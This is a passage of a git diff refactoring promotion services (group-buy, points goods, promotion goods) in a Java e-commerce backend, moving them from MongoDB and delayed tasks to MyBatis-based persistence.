orders.get(0).getParentOrderSn(), orders.get(0).getParentOrderSn()); this.setPintuanOrderInfo(parentOrders, pintuanShareVO, skuId); - } return pintuanShareVO; } + /** + * 更新促销状态 + * 如果要更新促销状态为关闭,startTime和endTime置为空即可 + * + * @param ids 促销id集合 + * @param startTime 开始时间 + * @param endTime 结束时间 + * @return 是否更新成功 + */ + @Override + public boolean updateStatus(List ids, Long startTime, Long endTime) { + if (startTime != null && endTime != null) { + for (String id : ids) { + Pintuan pintuan = this.getById(id); + QueryWrapper queryWrapper = PromotionTools.checkActiveTime(new Date(startTime), new Date(endTime), PromotionTypeEnum.PINTUAN, pintuan.getStoreId(), id); + int sameNum = this.count(queryWrapper); + //当前时间段是否存在同类活动 + if (sameNum > 0) { + throw new ServiceException(ResultCode.PROMOTION_SAME_ACTIVE_EXIST); + } + } + } + + return super.updateStatus(ids, startTime, endTime); + } + + /** + * 检查促销参数 + * + * @param promotions 促销实体 + */ + @Override + public void checkPromotions(Pintuan promotions) { + QueryWrapper queryWrapper = PromotionTools.checkActiveTime(promotions.getStartTime(), promotions.getEndTime(), PromotionTypeEnum.PINTUAN, promotions.getStoreId(), promotions.getId()); + int sameNum = this.count(queryWrapper); + //当前时间段是否存在同类活动 + if (sameNum > 0) { + throw new ServiceException(ResultCode.PROMOTION_SAME_ACTIVE_EXIST); + } + super.checkPromotions(promotions); + } + + /** + * 更新促销商品信息 + * + * @param promotions 促销实体 + */ + @Override + public void updatePromotionsGoods(Pintuan promotions) { + super.updatePromotionsGoods(promotions); + if (!PromotionsStatusEnum.CLOSE.name().equals(promotions.getPromotionStatus()) + && PromotionsScopeTypeEnum.PORTION_GOODS.name().equals(promotions.getScopeType()) + && promotions instanceof PintuanVO) { + PintuanVO pintuanVO = (PintuanVO) promotions; + this.updatePintuanPromotionGoods(pintuanVO); + } + if (promotions.getEndTime() == null && promotions.getStartTime() == null) { + //过滤父级拼团订单,根据父级拼团订单分组 + Map> collect = orderService.queryListByPromotion(promotions.getId()) + .stream().filter(i -> CharSequenceUtil.isNotEmpty(i.getParentOrderSn())) + .collect(Collectors.groupingBy(Order::getParentOrderSn)); + this.isOpenFictitiousPintuan(promotions, collect); + } + } + + /** + * 更新促销信息到商品索引 + * + * @param promotions 促销实体 + */ + @Override + public void updateEsGoodsIndex(Pintuan promotions) { + Pintuan pintuan = JSONUtil.parse(promotions).toBean(Pintuan.class); + super.updateEsGoodsIndex(pintuan); + } + + /** + * 当前促销类型 + * + * @return 当前促销类型 + */ + @Override + public PromotionTypeEnum getPromotionType() { + return PromotionTypeEnum.PINTUAN; + } + /** * 根据订单信息,从中提取出拼团信息,设置拼团信息 * @@ -367,55 +239,32 @@ public class PintuanServiceImpl extends ServiceImpl impl for (Order order : orders) { Member member = memberService.getById(order.getMemberId()); PintuanMemberVO memberVO = new PintuanMemberVO(member); - if (StrUtil.isEmpty(order.getParentOrderSn())) { + if (CharSequenceUtil.isEmpty(order.getParentOrderSn())) { memberVO.setOrderSn(""); - PromotionGoods promotionGoods = promotionGoodsService.getPromotionGoods(PromotionTypeEnum.PINTUAN, order.getPromotionId(), skuId); + PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); + searchParams.setPromotionStatus(PromotionTypeEnum.PINTUAN.name()); + searchParams.setPromotionId(order.getPromotionId()); + searchParams.setSkuId(skuId); + PromotionGoods promotionGoods = promotionGoodsService.getPromotionsGoods(searchParams); if (promotionGoods == null) { - throw new ServiceException(ResultCode.PINTUAN_NOT_EXIST_ERROR); + throw new ServiceException(ResultCode.PINTUAN_GOODS_NOT_EXIST_ERROR); } pintuanShareVO.setPromotionGoods(promotionGoods); - Pintuan pintuanById = this.getPintuanById(order.getPromotionId()); - LambdaQueryWrapper countQueryWrapper = new LambdaQueryWrapper<>(); - countQueryWrapper.eq(Order::getPayStatus, PayStatusEnum.PAID.name()); - countQueryWrapper.and(i -> i.eq(Order::getSn, order.getSn()).or(j -> j.eq(Order::getParentOrderSn, order.getSn()))); + Pintuan pintuanById = this.getById(order.getPromotionId()); //获取已参团人数 - int count = orderService.count(countQueryWrapper); - //获取待参团人数 - int toBoGrouped = pintuanById.getRequiredNum() - count; - memberVO.setGroupNum(pintuanById.getRequiredNum()); - memberVO.setGroupedNum(count); - memberVO.setToBeGroupedNum(toBoGrouped); + this.setMemberVONum(memberVO, pintuanById.getRequiredNum(), order.getSn()); } pintuanShareVO.getPintuanMemberVOS().add(memberVO); } } - /** - * 增加拼团定时任务 - * @param pintuan - */ - private void addPintuanStartTask(PintuanVO pintuan) { - PromotionMessage promotionMessage = new PromotionMessage(pintuan.getId(), PromotionTypeEnum.PINTUAN.name(), PromotionStatusEnum.START.name(), pintuan.getStartTime(), pintuan.getEndTime()); - TimeTriggerMsg timeTriggerMsg = new TimeTriggerMsg(TimeExecuteConstant.PROMOTION_EXECUTOR, - pintuan.getStartTime().getTime(), - promotionMessage, - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (promotionMessage.getPromotionType() + promotionMessage.getPromotionId())), - rocketmqCustomProperties.getPromotionTopic()); - //发送促销活动开始的延时任务 - this.timeTrigger.addDelay(timeTriggerMsg); - } - - /** - * 从es商品索引中中移除拼团活动 - * - * @param id 拼团活动ID - * @param originStartTime 活动开始时间 - */ - private void removePintuanGoodsFromEs(String id, Long originStartTime) { - this.timeTrigger.delete(TimeExecuteConstant.PROMOTION_EXECUTOR, - originStartTime, - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (PromotionTypeEnum.PINTUAN.name() + id)), - rocketmqCustomProperties.getPromotionTopic()); + private void setMemberVONum(PintuanMemberVO memberVO, Integer requiredNum, String orderSn) { + int count = this.orderService.queryCountByPromotion(PromotionTypeEnum.PINTUAN.name(), PayStatusEnum.PAID.name(), orderSn, orderSn); + //获取待参团人数 + int toBoGrouped = requiredNum - count; + memberVO.setGroupNum(requiredNum); + memberVO.setGroupedNum(count); + memberVO.setToBeGroupedNum(toBoGrouped); } /** @@ -424,7 +273,7 @@ public class PintuanServiceImpl extends ServiceImpl impl * @param pintuan 拼团活动信息 * @param collect 检查的订单列表 */ - private void isOpenFictitiousPintuan(PintuanVO pintuan, Map> collect) { + private void isOpenFictitiousPintuan(Pintuan pintuan, Map> collect) { //成团人数 Integer requiredNum = pintuan.getRequiredNum(); @@ -432,13 +281,14 @@ public class PintuanServiceImpl extends ServiceImpl impl //是否开启虚拟成团 if (Boolean.FALSE.equals(pintuan.getFictitious()) && entry.getValue().size() < requiredNum) { //如果未开启虚拟成团且已参团人数小于成团人数,则自动取消订单 - LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); - updateWrapper.eq(Order::getOrderPromotionType, PromotionTypeEnum.PINTUAN.name()); - updateWrapper.eq(Order::getPromotionId, pintuan.getId()); - updateWrapper.eq(Order::getParentOrderSn, entry.getKey()); - updateWrapper.set(Order::getOrderStatus, OrderStatusEnum.CANCELLED.name()); - updateWrapper.set(Order::getCancelReason, "拼团活动结束订单未付款,系统自动取消订单"); - orderService.update(updateWrapper); + String reason = "拼团活动结束订单未付款,系统自动取消订单"; + if (CharSequenceUtil.isNotEmpty(entry.getKey())) { + this.orderService.systemCancel(entry.getKey(), reason); + } else { + for (Order order : entry.getValue()) { + this.orderService.systemCancel(order.getSn(), reason); + } + } } else if (Boolean.TRUE.equals(pintuan.getFictitious())) { this.fictitiousPintuan(entry, requiredNum); } @@ -484,20 +334,6 @@ public class PintuanServiceImpl extends ServiceImpl impl } } - /** - * 检查当前拼团活动是否存在 - * - * @param pintuanId 拼团id - * @return 拼团活动 - */ - private PintuanVO checkExist(String pintuanId) { - PintuanVO pintuan = mongoTemplate.findById(pintuanId, PintuanVO.class); - if (pintuan == null) { - throw new ServiceException(ResultCode.PINTUAN_NOT_EXIST_ERROR); - } - return pintuan; - } - /** * 更新记录的促销商品信息 * @@ -521,9 +357,10 @@ public class PintuanServiceImpl extends ServiceImpl impl throw new ServiceException("商品[" + promotionGood.getGoodsName() + "]已经在重叠的时间段参加了秒杀活动或拼团活动,不能参加拼团活动"); } } - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.eq(PromotionGoods::getPromotionId, pintuan.getId()).eq(PromotionGoods::getPromotionType, PromotionTypeEnum.PINTUAN.name()); - promotionGoodsService.remove(queryWrapper); + PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); + searchParams.setPromotionId(pintuan.getId()); + searchParams.setPromotionType(PromotionTypeEnum.PINTUAN.name()); + promotionGoodsService.deletePromotionGoods(searchParams); promotionGoodsService.saveOrUpdateBatch(promotionGoods); } } diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsCategoryServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsCategoryServiceImpl.java index d10f209d..3d1e9161 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsCategoryServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsCategoryServiceImpl.java @@ -1,12 +1,12 @@ package cn.lili.modules.promotion.serviceimpl; -import cn.hutool.core.util.StrUtil; +import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.exception.ServiceException; -import cn.lili.mybatis.util.PageUtil; import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.PointsGoodsCategory; import cn.lili.modules.promotion.mapper.PointsGoodsCategoryMapper; import cn.lili.modules.promotion.service.PointsGoodsCategoryService; +import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; @@ -69,7 +69,7 @@ public class PointsGoodsCategoryServiceImpl extends ServiceImpl getCategoryByPage(String name, PageVO page) { LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); - if (StrUtil.isNotEmpty(name)) { + if (CharSequenceUtil.isNotEmpty(name)) { queryWrapper.like(PointsGoodsCategory::getName, name); } page.setOrder("ASC"); diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsServiceImpl.java index acee95ac..0182b261 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsServiceImpl.java @@ -1,44 +1,33 @@ package cn.lili.modules.promotion.serviceimpl; -import cn.hutool.core.util.StrUtil; +import cn.hutool.core.map.MapUtil; +import cn.hutool.core.text.CharSequenceUtil; +import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; -import cn.lili.common.security.context.UserContext; -import cn.lili.common.security.enums.UserEnums; -import cn.lili.trigger.util.DelayQueueTools; -import cn.lili.trigger.enums.DelayTypeEnums; -import cn.lili.trigger.message.PromotionMessage; import cn.lili.common.exception.ServiceException; -import cn.lili.trigger.interfaces.TimeTrigger; -import cn.lili.trigger.model.TimeExecuteConstant; -import cn.lili.trigger.model.TimeTriggerMsg; -import cn.lili.common.utils.DateUtil; -import cn.lili.common.vo.PageVO; -import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.promotion.entity.dos.PointsGoods; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; -import cn.lili.common.enums.PromotionTypeEnum; -import cn.lili.modules.promotion.entity.vos.PointsGoodsSearchParams; +import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; import cn.lili.modules.promotion.mapper.PointsGoodsMapper; import cn.lili.modules.promotion.service.PointsGoodsService; +import cn.lili.modules.promotion.service.PromotionGoodsService; import cn.lili.modules.promotion.tools.PromotionTools; import cn.lili.modules.search.service.EsGoodsIndexService; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.BeanUtils; import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.data.mongodb.core.MongoTemplate; -import org.springframework.data.mongodb.core.query.Criteria; -import org.springframework.data.mongodb.core.query.Query; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; import java.util.ArrayList; -import java.util.Collections; +import java.util.HashMap; import java.util.List; +import java.util.Map; /** * 积分商品业务层实现 @@ -48,150 +37,94 @@ import java.util.List; **/ @Service @Transactional(rollbackFor = Exception.class) -public class PointsGoodsServiceImpl extends ServiceImpl implements PointsGoodsService { +@Slf4j +public class PointsGoodsServiceImpl extends AbstractPromotionsServiceImpl implements PointsGoodsService { /** - * 延时任务 + * 促销商品 */ @Autowired - private TimeTrigger timeTrigger; - /** - * Mongo - */ - @Autowired - private MongoTemplate mongoTemplate; - /** - * RocketMQ - */ - @Autowired - private RocketmqCustomProperties rocketmqCustomProperties; + private PromotionGoodsService promotionGoodsService; /** * 规格商品 */ @Autowired private GoodsSkuService goodsSkuService; - /** - * Es商品 - */ + @Autowired private EsGoodsIndexService goodsIndexService; - /** - * 批量添加积分商品 - * - * @param pointsGoodsList 积分商品列表 - * @return 是否添加成功 - */ + @Override - public boolean addPointsGoods(List pointsGoodsList) { - List pointsGoodsList1 = new ArrayList<>(); - for (PointsGoodsVO pointsGoods : pointsGoodsList) { - GoodsSku goodsSku = this.checkSkuExist(pointsGoods.getSkuId()); - this.checkParam(pointsGoods, goodsSku); - pointsGoods.setGoodsSku(goodsSku); - PromotionTools.checkPromotionTime(pointsGoods.getStartTime().getTime(), pointsGoods.getEndTime().getTime()); + public boolean savePointsGoodsBatch(List promotionsList) { + List promotionGoodsList = new ArrayList<>(); + Map skuPoints = new HashMap<>(); + for (PointsGoods pointsGoods : promotionsList) { + this.initPromotion(pointsGoods); + this.checkPromotions(pointsGoods); if (this.checkSkuDuplicate(pointsGoods.getSkuId(), null) == null) { - pointsGoods.setPromotionStatus(PromotionStatusEnum.NEW.name()); pointsGoods.setPromotionName("积分商品活动"); - pointsGoodsList1.add(pointsGoods); } else { throw new ServiceException("商品id为" + pointsGoods.getSkuId() + "的商品已参加积分商品活动!"); } + GoodsSku goodsSku = this.checkSkuExist(pointsGoods.getSkuId()); + pointsGoods.setStoreId(goodsSku.getStoreId()); + pointsGoods.setStoreName(goodsSku.getStoreName()); + PromotionGoods promotionGoods = new PromotionGoods(pointsGoods, goodsSku); + promotionGoods.setPromotionType(PromotionTypeEnum.POINTS_GOODS.name()); + promotionGoodsList.add(promotionGoods); + skuPoints.put(pointsGoods.getSkuId(), pointsGoods.getPoints()); + } - this.saveBatch(pointsGoodsList1); - for (PointsGoodsVO pointsGoods : pointsGoodsList) { - this.mongoTemplate.save(pointsGoods); - this.addPointsGoodsPromotionTask(pointsGoods); + boolean saveBatch = this.saveBatch(promotionsList); + if (saveBatch) { + this.promotionGoodsService.saveOrUpdateBatch(promotionGoodsList); + for (Map.Entry entry : skuPoints.entrySet()) { + Map query = MapUtil.builder(new HashMap()).put("id", entry.getKey()).build(); + Map update = MapUtil.builder(new HashMap()).put("points", entry.getValue()).build(); + this.goodsIndexService.updateIndex(query, update); + } + } - return true; + return saveBatch; } /** - * 更新一个积分商品 + * 积分商品更新 * - * @param pointsGoods 编辑的积分商品信息 + * @param promotions 促销信息 * @return 是否更新成功 */ @Override - public boolean updatePointsGoods(PointsGoodsVO pointsGoods) { + public boolean updatePromotions(PointsGoods promotions) { boolean result = false; - PointsGoodsVO pointsGoodsVO = this.checkExist(pointsGoods.getId()); - GoodsSku goodsSku = this.checkSkuExist(pointsGoods.getSkuId()); - this.checkParam(pointsGoods, goodsSku); - pointsGoods.setGoodsSku(goodsSku); - if (this.checkSkuDuplicate(pointsGoods.getSkuId(), pointsGoods.getId()) == null) { - if (PromotionStatusEnum.START.name().equals(pointsGoods.getPromotionStatus()) || PromotionStatusEnum.END.name().equals(pointsGoods.getPromotionStatus())) { - throw new ServiceException(ResultCode.PROMOTION_UPDATE_ERROR); - } - PromotionTools.checkPromotionTime(pointsGoods.getStartTime().getTime(), pointsGoods.getEndTime().getTime()); - result = this.updateById(pointsGoods); - this.mongoTemplate.save(pointsGoods); - if (pointsGoods.getStartTime().getTime() != pointsGoodsVO.getStartTime().getTime()) { - PromotionMessage promotionMessage = new PromotionMessage(pointsGoods.getId(), PromotionTypeEnum.POINTS_GOODS.name(), PromotionStatusEnum.START.name(), pointsGoods.getStartTime(), pointsGoods.getEndTime()); - //更新延时任务 - this.timeTrigger.edit(TimeExecuteConstant.PROMOTION_EXECUTOR, - promotionMessage, - pointsGoodsVO.getStartTime().getTime(), - pointsGoods.getStartTime().getTime(), - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (promotionMessage.getPromotionType() + promotionMessage.getPromotionId())), - DateUtil.getDelayTime(pointsGoods.getStartTime().getTime()), - rocketmqCustomProperties.getPromotionTopic()); - } - + this.checkStatus(promotions); + this.checkPromotions(promotions); + if (this.checkSkuDuplicate(promotions.getSkuId(), promotions.getId()) == null) { + result = this.updateById(promotions); + this.updatePromotionsGoods(promotions); + this.updateEsGoodsIndex(promotions); } return result; } /** - * 批量更新积分商品状态 + * 移除促销活动 * - * @param ids 积分商品id集合 - * @param promotionStatus 更新的状态 - * @return 是否更新成功 + * @param ids 促销活动id集合 + * @return 是否移除成功 */ @Override - public boolean updatePointsGoodsPromotionStatus(List ids, String promotionStatus) { + public boolean removePromotions(List ids) { for (String id : ids) { - PointsGoodsVO pointsGoodsVO = this.checkExist(id); - pointsGoodsVO.setPromotionStatus(PromotionStatusEnum.valueOf(promotionStatus).name()); - this.updateById(pointsGoodsVO); - this.mongoTemplate.save(pointsGoodsVO); - if (promotionStatus.equals(PromotionStatusEnum.START.name())) { - this.addPointsGoodsPromotionTask(pointsGoodsVO); - } else { - this.goodsIndexService.deleteEsGoodsPromotionIndexByList(Collections.singletonList(pointsGoodsVO.getSkuId()), PromotionTypeEnum.POINTS_GOODS); - this.timeTrigger.delete(TimeExecuteConstant.PROMOTION_EXECUTOR, - pointsGoodsVO.getStartTime().getTime(), - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (PromotionTypeEnum.POINTS_GOODS.name() + pointsGoodsVO.getId())), - rocketmqCustomProperties.getPromotionTopic()); + PointsGoods pointsGoods = this.getById(id); + if (pointsGoods == null) { + log.error(ResultCode.POINT_GOODS_NOT_EXIST.message()); + ids.remove(id); } } - return true; - } - - /** - * 批量删除积分商品 - * - * @param ids 积分商品id集合 - * @return 是否删除成功 - */ - @Override - public boolean deletePointsGoods(List ids) { - List skuIds = new ArrayList<>(); - for (String id : ids) { - PointsGoodsVO pointsGoodsVO = this.checkExist(id); - this.timeTrigger.delete(TimeExecuteConstant.PROMOTION_EXECUTOR, - pointsGoodsVO.getStartTime().getTime(), - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (PromotionTypeEnum.POINTS_GOODS.name() + pointsGoodsVO.getId())), - rocketmqCustomProperties.getPromotionTopic()); - skuIds.add(pointsGoodsVO.getSkuId()); - } - boolean result = this.removeByIds(ids); - this.goodsIndexService.deleteEsGoodsPromotionIndexByList(skuIds, PromotionTypeEnum.POINTS_GOODS); - Query query = new Query(); - query.addCriteria(new Criteria("id").in(ids)); - this.mongoTemplate.remove(query, PointsGoodsVO.class); - return result; + this.promotionGoodsService.deletePromotionGoods(ids); + return this.removeByIds(ids); } /** @@ -202,79 +135,103 @@ public class PointsGoodsServiceImpl extends ServiceImpl pointsGoodsVO = this.mongoTemplate.find(query, PointsGoodsVO.class); - if (pointsGoodsVO != null && pointsGoodsVO.size() > 0) { - return pointsGoodsVO.get(0); - } - return null; + PointsGoods pointsGoods = this.checkExist(id); + PointsGoodsVO pointsGoodsVO = new PointsGoodsVO(); + BeanUtils.copyProperties(pointsGoods, pointsGoodsVO); + pointsGoodsVO.setGoodsSku(this.checkSkuExist(pointsGoods.getSkuId())); + return pointsGoodsVO; } /** - * 根据条件查询积分商品 + * 根据ID获取积分详情 * - * @param searchParams 积分商品查询参数 - * @param page 分页参数 - * @return 积分商品查询结果 + * @param skuId 商品SkuId + * @return 积分详情 */ @Override - public IPage getPointsGoodsByPage(PointsGoodsSearchParams searchParams, PageVO page) { - IPage pointsGoodsPage = new Page<>(); - if (UserContext.getCurrentUser().getRole().equals(UserEnums.MEMBER)) { - searchParams.setPromotionStatus(PromotionStatusEnum.START.name()); + public PointsGoodsVO getPointsGoodsDetailBySkuId(String skuId) { + PointsGoods pointsGoods = this.getOne(new LambdaQueryWrapper().eq(PointsGoods::getSkuId, skuId), false); + if (pointsGoods == null) { + log.error("skuId为" + skuId + "的积分商品不存在!"); + throw new ServiceException(); } - Query query = searchParams.mongoQuery(); - if (page != null) { - PromotionTools.mongoQueryPageParam(query, page); - pointsGoodsPage.setSize(page.getPageSize()); - pointsGoodsPage.setCurrent(page.getPageNumber()); - } - List pointsGoodsVOS = this.mongoTemplate.find(query, PointsGoodsVO.class); - pointsGoodsPage.setRecords(pointsGoodsVOS); - pointsGoodsPage.setTotal(this.mongoTemplate.count(searchParams.mongoQuery(), PointsGoodsVO.class)); - return pointsGoodsPage; + PointsGoodsVO pointsGoodsVO = new PointsGoodsVO(); + BeanUtils.copyProperties(pointsGoods, pointsGoodsVO); + pointsGoodsVO.setGoodsSku(this.checkSkuExist(pointsGoods.getSkuId())); + return pointsGoodsVO; } /** - * 添加积分商品mq任务 + * 检查促销参数 * - * @param pointsGoods 积分商品信息 + * @param promotions 促销实体 */ - private void addPointsGoodsPromotionTask(PointsGoodsVO pointsGoods) { - PromotionMessage promotionMessage = new PromotionMessage(pointsGoods.getId(), PromotionTypeEnum.POINTS_GOODS.name(), - PromotionStatusEnum.START.name(), - pointsGoods.getStartTime(), pointsGoods.getEndTime()); - TimeTriggerMsg timeTriggerMsg = new TimeTriggerMsg(TimeExecuteConstant.PROMOTION_EXECUTOR, - promotionMessage.getStartTime().getTime(), - promotionMessage, - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (promotionMessage.getPromotionType() + promotionMessage.getPromotionId())), - rocketmqCustomProperties.getPromotionTopic()); - //发送促销活动开始的延时任务 - this.timeTrigger.addDelay(timeTriggerMsg); + @Override + public void checkPromotions(PointsGoods promotions) { + super.checkPromotions(promotions); + GoodsSku goodsSku = this.checkSkuExist(promotions.getSkuId()); + if (promotions.getActiveStock() > goodsSku.getQuantity()) { + throw new ServiceException(ResultCode.POINT_GOODS_ACTIVE_STOCK_ERROR); + } } /** - * 检查mongo中积分商品存在 + * 检查促销状态 + * + * @param promotions 促销实体 + */ + @Override + public void checkStatus(PointsGoods promotions) { + super.checkStatus(promotions); + } + + /** + * 更新促销商品信息 + * + * @param promotions 促销实体 + */ + @Override + public void updatePromotionsGoods(PointsGoods promotions) { + this.promotionGoodsService.remove(new LambdaQueryWrapper().eq(PromotionGoods::getPromotionId, promotions.getId())); + this.promotionGoodsService.save(new PromotionGoods(promotions, this.checkSkuExist(promotions.getSkuId()))); + } + + /** + * 更新促销信息到商品索引 + * + * @param promotions 促销实体 + */ + @Override + public void updateEsGoodsIndex(PointsGoods promotions) { + Map query = MapUtil.builder(new HashMap()).put("id", promotions.getSkuId()).build(); + Map update = MapUtil.builder(new HashMap()).put("points", promotions.getPoints()).build(); + this.goodsIndexService.updateIndex(query, update); + } + + /** + * 当前促销类型 + * + * @return 当前促销类型 + */ + @Override + public PromotionTypeEnum getPromotionType() { + return PromotionTypeEnum.POINTS_GOODS; + } + + /** + * 检查积分商品存在 * * @param id 积分商品id * @return 积分商品信息 */ - private PointsGoodsVO checkExist(String id) { - PointsGoodsVO pointsGoodsVO = this.mongoTemplate.findById(id, PointsGoodsVO.class); - if (pointsGoodsVO == null) { + private PointsGoods checkExist(String id) { + PointsGoods pointsGoods = this.getById(id); + if (pointsGoods == null) { log.error("id为" + id + "的积分商品不存在!"); throw new ServiceException(); } - return pointsGoodsVO; + return pointsGoods; } /** @@ -285,13 +242,15 @@ public class PointsGoodsServiceImpl extends ServiceImpl queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.eq(PointsGoods::getSkuId, skuId); - if (StrUtil.isNotEmpty(id)) { - queryWrapper.ne(PointsGoods::getId, id); + QueryWrapper queryWrapper = new QueryWrapper<>(); + queryWrapper.eq("sku_id", skuId); + if (CharSequenceUtil.isNotEmpty(id)) { + queryWrapper.ne("id", id); } - queryWrapper.ne(PointsGoods::getPromotionStatus, PromotionStatusEnum.END.name()); - return this.getOne(queryWrapper); + queryWrapper.and(i -> i + .or(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.START)) + .or(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.NEW))); + return this.getOne(queryWrapper, false); } /** @@ -309,15 +268,4 @@ public class PointsGoodsServiceImpl extends ServiceImpl goodsSku.getQuantity()) { - throw new ServiceException(ResultCode.POINT_GOODS_ACTIVE_STOCK_ERROR); - } - } } diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionGoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionGoodsServiceImpl.java index fc3de46f..6bac9eaf 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionGoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionGoodsServiceImpl.java @@ -5,38 +5,32 @@ import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; -import cn.lili.common.utils.BeanUtil; import cn.lili.common.utils.DateUtil; import cn.lili.common.vo.PageVO; import cn.lili.modules.goods.entity.dos.GoodsSku; -import cn.lili.modules.goods.entity.dto.GoodsSearchParams; -import cn.lili.modules.goods.entity.enums.GoodsAuthEnum; -import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.order.cart.entity.vo.CartSkuVO; -import cn.lili.modules.order.cart.entity.vo.FullDiscountVO; +import cn.lili.modules.promotion.entity.dos.Coupon; +import cn.lili.modules.promotion.entity.dos.FullDiscount; import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.dos.SeckillApply; -import cn.lili.modules.promotion.entity.dto.BasePromotion; -import cn.lili.modules.promotion.entity.dto.PromotionGoodsDTO; -import cn.lili.modules.promotion.entity.enums.CouponScopeTypeEnum; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; -import cn.lili.modules.promotion.entity.vos.CouponVO; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; +import cn.lili.modules.promotion.entity.vos.BasePromotionsSearchParams; import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; -import cn.lili.modules.promotion.entity.vos.SeckillVO; import cn.lili.modules.promotion.mapper.PromotionGoodsMapper; +import cn.lili.modules.promotion.service.CouponService; +import cn.lili.modules.promotion.service.FullDiscountService; import cn.lili.modules.promotion.service.PromotionGoodsService; import cn.lili.modules.promotion.service.SeckillApplyService; +import cn.lili.modules.promotion.tools.PromotionTools; import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.data.mongodb.core.MongoTemplate; -import org.springframework.data.mongodb.core.query.Criteria; -import org.springframework.data.mongodb.core.query.Query; import org.springframework.data.redis.core.StringRedisTemplate; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; @@ -53,14 +47,8 @@ import java.util.List; */ @Service @Transactional(rollbackFor = Exception.class) - public class PromotionGoodsServiceImpl extends ServiceImpl implements PromotionGoodsService { - /** - * Mongo - */ - @Autowired - private MongoTemplate mongoTemplate; /** * Redis */ @@ -77,14 +65,11 @@ public class PromotionGoodsServiceImpl extends ServiceImpl promotionGoodsList, PromotionTypeEnum promotionType) { - for (PromotionGoods promotionGoods : promotionGoodsList) { - promotionGoods.setDeleteFlag(true); - } - updateBatchById(promotionGoodsList); - } + @Autowired + private CouponService couponService; @Override public List findNowSkuPromotion(String skuId) { @@ -93,45 +78,36 @@ public class PromotionGoodsServiceImpl extends ServiceImpl(); } + QueryWrapper queryWrapper = new QueryWrapper<>(); - List promotionGoods = new ArrayList<>(this.list(new LambdaQueryWrapper() - .eq(PromotionGoods::getSkuId, skuId) -// .ge(PromotionGoods::getStartTime, new Date()) - .eq(PromotionGoods::getPromotionStatus, PromotionStatusEnum.START.name()))); + queryWrapper.eq("sku_id", skuId); + queryWrapper.and(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.START)); + + List promotionGoods = this.list(queryWrapper); + BasePromotionsSearchParams searchParams = new BasePromotionsSearchParams(); + searchParams.setPromotionStatus(PromotionsStatusEnum.START.name()); + 